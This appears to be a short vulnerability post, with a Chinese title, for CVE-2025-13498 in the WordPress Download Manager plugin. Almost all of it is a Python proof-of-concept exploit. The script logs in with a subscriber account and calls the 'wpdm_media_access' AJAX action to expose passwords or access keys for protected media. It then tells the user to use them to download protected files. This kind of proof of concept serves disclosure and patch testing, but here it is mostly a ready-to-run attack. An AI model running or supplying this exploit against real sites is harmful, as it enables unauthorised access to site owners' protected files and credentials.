CVE-2025-13498 WordPress Download Manager未授权访问漏洞

import requests import sys # CVE-2025-13498 PoC - WordPress Download Manager Unauthorized Access # Target: WordPress site with Download Manager plugin <= 3.3.32 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Step 1: Authenticate with subscriber-level account to get valid nonce # Then exploit the vulnerable wpdm_media_access AJAX action session = requests.Session() # Replace with valid subscriber credentials auth_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'testcookie': '1' } # Login to get authenticated session login_url = f"{target_url}/wp-login.php" resp = session.post(login_url, data=auth_data) # Step 2: Exploit the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wpdm_media_access', 'media_id': '1', # Target media attachment ID 'op': 'access' # Operation to access protected media } response = session.post(ajax_url, data=exploit_data) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, response contains password/access key for protected media if response.status_code == 200 and 'password' in response.text.lower(): print("[!] Vulnerability confirmed! Sensitive information exposed.") print("[*] Use the exposed credentials to download protected files.")